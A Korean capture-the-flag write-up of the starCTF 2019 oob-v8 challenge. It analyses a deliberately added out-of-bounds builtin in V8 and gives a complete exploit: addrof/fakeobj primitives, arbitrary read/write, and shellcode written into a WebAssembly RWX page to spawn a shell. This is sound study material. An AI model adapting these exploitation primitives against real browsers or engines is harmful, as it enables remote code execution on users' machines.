starCTF 2019 oob-v8

msh1307·2023년 4월 23일
0

Writeups

목록 보기
13/15
post-custom-banner

oob-v8

commit hash는 6dc88c191f5ecc5389dc26efa3ca0907faef3598 이다.

file ./v8/out/x64.release/d8
source ./v8/tools/gdbinit
set args --shell ./ex.js --allow-natives-syntax

편하게 미리 스크립트 짜서 디버깅하면 편하다.
--allow-natives-syntax 해주면 %DebugPrint()같은 함수 사용가능하다.

Analysis

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

index를 length로 해서 oob가 난다.
기본적으로 자기 자신도 오브젝트로 넘겨주기 때문에 args.length()가 항상 1 이상이다.

Exploitation

oob를 통해 map을 read, write가 가능하다.
write를 통해 type confusion을 일으킬 수 있다.

addrof primitive

let buf = new ArrayBuffer(8);
let f64_buf = new Float64Array(buf);
let u64_buf = new BigUint64Array(buf);
let float_arr = [1.1, 2.2, 3.3,4.4]
let float_map = float_arr.oob()
let obj = {'a':'b'}
let obj_arr = [obj]
let obj_map = obj_arr.oob()
function ftoi(val){
    f64_buf[0] = val;
    return u64_buf[0];
}
function itof(val){
    u64_buf[0] = val;
    return f64_buf[0];
}
function addrof(object){
    obj_arr[0] = object;
    obj_arr.oob(float_map);
    let res = obj_arr[0];
    obj_arr.oob(obj_map);
    return ftoi(res);
}

float map으로 overwrite 해주는 이유는 v8에서 64bit integer가 없기 때문이다.

            |----- 32 bits -----|----- 32 bits -----|
Pointer:    |________________address______________w1|
Smi:        |____int32_value____|0000000000000000000|

32bit smi만 존재한다.

fixedArray = [0x7FFFFFFF] //FixedArray
fixedDoubleArray = [0x80000000] //FixedDoubleArray

8 byte 단위로 쓰려면 double 형으로 접근해서 r/w를 해야한다.

fakeobj primitive

function fakeobj(address){
    float_arr[0] = itof(address);
    float_arr.oob(obj_map);
    let res = float_arr[0];
    float_arr.oob(float_map);
    return res;
}

fake object를 리턴한다.

arbitrary address r/w primitive

let arb_rw = [float_map,1.1,2.2,3.3]
function aar(address){
    if (address %2n ==0){
        address += 1n;
    }
    let fake = fakeobj(addrof(arb_rw) - 0x20n); // elements address
    arb_rw[2] = itof(BigInt(address) - 0x10n);
    return ftoi(fake[0]);
}
function init_aaw(address, value){
    let fake = fakeobj(addrof(arb_rw) - 0x20n); // elements address, return JSArray
    arb_rw[2] = itof(BigInt(address) - 0x10n); 
    fake[0] = itof(BigInt(value))  // write value
}
function aaw(address, value){
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    init_aaw(addrof(buf) + 0x20n, address); // backing pointer -> address
    dataview.setBigUint64(0,BigInt(value),true); // write value
}
[FixedDobuleArray]
map
length(smi)
element0
element1
element2
element3
[JSArray]
map
property
element_ptr (FixedDobuleArray)
length(smi)

JSArray-0x20n은 element pointer + 0x10 부분이다.
element 부분을 fake object로 만들어서 리턴해주고, element pointer를 address - 0x10으로 주면 element0에 접근하면서 aar이 가능하다.

pwndbg> job 0x116c2b94ec31
0x116c2b94ec31: [FixedDoubleArray]
 - map: 0x210859a414f9 <Map>
 - length: 4
           0: 2.0014e-310
           1: 1.1
           2: 2.2
           3: 3.3
pwndbg> job 0x116c2b94ec61
0x116c2b94ec61: [JSArray]
 - map: 0x24d7ac2c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x34d688111111 <JSArray[0]>
 - elements: 0x116c2b94ec31 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x210859a40c71 <FixedArray[0]> {
    #length: 0x2ace510401a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x116c2b94ec31 <FixedDoubleArray[4]> {
           0: 2.0014e-310
           1: 1.1
           2: 2.2
           3: 3.3
 }
pwndbg> x/4xg 0x116c2b94ec61-0x21
0x116c2b94ec40: 0x000024d7ac2c2ed9      0x3ff199999999999a
0x116c2b94ec50: 0x400199999999999a      0x400a666666666666

aaw도 비슷하다.

pwndbg> job 0x116c2b952349
0x116c2b952349: [JSArrayBuffer]
 - map: 0x24d7ac2c21b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x34d68810e981 <Object map = 0x24d7ac2c2209>
 - elements: 0x210859a40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x55a6fda20660
 - byte_length: 16
 - detachable
 - properties: 0x210859a40c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
pwndbg> x/5xg 0x116c2b952349-1
0x116c2b952348: 0x000024d7ac2c21b9      0x0000210859a40c71
0x116c2b952358: 0x0000210859a40c71      0x0000000000000010
0x116c2b952368: 0x000055a6fda20660

Array Buffer의 backing_store를 덮어주고, DataView를 통해 컨트롤 할 수 있다.

import gdb
import struct
inf = gdb.selected_inferior()
print("addr : ",end='')
addr = input()
res = gdb.execute(f"xinfo {addr}",to_string=True)
if addr.startswith("0x"):
    addr = int(addr,16)
else:
    addr = int(addr)
if 'is not mapped' in res:
    print("invalid address")
else:
    res = res[res.find('Containing mapping:')+20:res.find('Offset')]
    res = res.split()
    addr_st = int(res[1],16)
    addr_end = int(res[2],16)
    print("target addr start: ",end='')
    tar_st = input()
    if tar_st.startswith("0x"):
        tar_st = int(tar_st,16)
    else:
        tar_st = int(tar_st)
    print("target addr end : ",end='')
    tar_end = input()
    if tar_end.startswith("0x"):
        tar_end = int(tar_end,16)
    else:
        tar_end = int(tar_end)
    mem = inf.read_memory(addr_st, addr_end-addr_st)
    memory = [0 for _ in range((addr_end-addr_st)//8)]
    for i in range((addr_end-addr_st)//8):
        memory[i] = (struct.unpack("<Q",mem[8*i:8*i+8]))[0]
    for i,j in enumerate(memory):
        if j >= tar_st and j<= tar_end:
            print(f"\n{hex(i*8 + addr_st)} | {hex(j)} -- offset : {hex((i*8 + addr_st) - addr)}",end='')
    print()

주소 찾으려고 작성한 스크립트이다.

Exploit script

let buf = new ArrayBuffer(8);
let f64_buf = new Float64Array(buf);
let u64_buf = new BigUint64Array(buf);
let float_arr = [1.1, 2.2, 3.3,4.4]
let float_map = float_arr.oob()
let obj = {'a':'b'}
let obj_arr = [obj]
let obj_map = obj_arr.oob()
function ftoi(val){
    f64_buf[0] = val;
    return u64_buf[0];
}
function itof(val){
    u64_buf[0] = val;
    return f64_buf[0];
}
function addrof(object){
    obj_arr[0] = object;
    obj_arr.oob(float_map);
    let res = obj_arr[0];
    obj_arr.oob(obj_map);
    return ftoi(res);
}
function fakeobj(address){
    float_arr[0] = itof(address);
    float_arr.oob(obj_map);
    let res = float_arr[0];
    float_arr.oob(float_map);
    return res;
}
let arb_rw = [float_map,1.1,2.2,3.3]
function aar(address){
    if (address %2n ==0){
        address += 1n;
    }
    let fake = fakeobj(addrof(arb_rw) - 0x20n); // element address
    arb_rw[2] = itof(BigInt(address) - 0x10n);
    return ftoi(fake[0]);
}
function init_aaw(address, value){
    let fake = fakeobj(addrof(arb_rw) - 0x20n); // element address, return JSArray
    arb_rw[2] = itof(BigInt(address) - 0x10n); 
    fake[0] = itof(BigInt(value))  // write value
}
function aaw(address, value){
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    init_aaw(addrof(buf) + 0x20n, address); // backing pointer -> address
    dataview.setBigUint64(0,BigInt(value),true); // write value
}

// ex) length = 2
// [FixedDobuleArray]
// map
// length(smi)
// element0
// element1
// [JSArray]
// map
// property
// element_ptr (FixedDobuleArray)
// length

// [JSArrayBuffer]
// map
// element_ptr(hole)
// element_ptr(hole)
// length
// backing_store -> buf

// var a = Object();
// var libc_ptr = aar(addrof(a)- 0x150n)+0x1298n;
// console.log(libc_ptr.toString(16));
// libc_base = aar(libc_ptr) -0x1ed1f0n;
// sys = libc_base + 0x52290n;
// free_hook = libc_base + 0x1eee48n;
// aaw(free_hook,sys);
// console.log("/bin/sh");

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var rwx = aar(addrof(wasmInstance) + 0x88n);
var sh = new ArrayBuffer(0x100);
var dv = new DataView(sh);
init_aaw(addrof(sh)+0x20n, rwx);
var shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]
for (var i = 0;i<shellcode.length;i++) {
    dv.setUint8(i,shellcode[i],true);
}
f();

쉘코드를 rwx page에 박아서 실행하거나 libc leak 이후 hook overwrite를 해서 shell을 따도 된다.

profile
https://msh1307.kr
post-custom-banner

0개의 댓글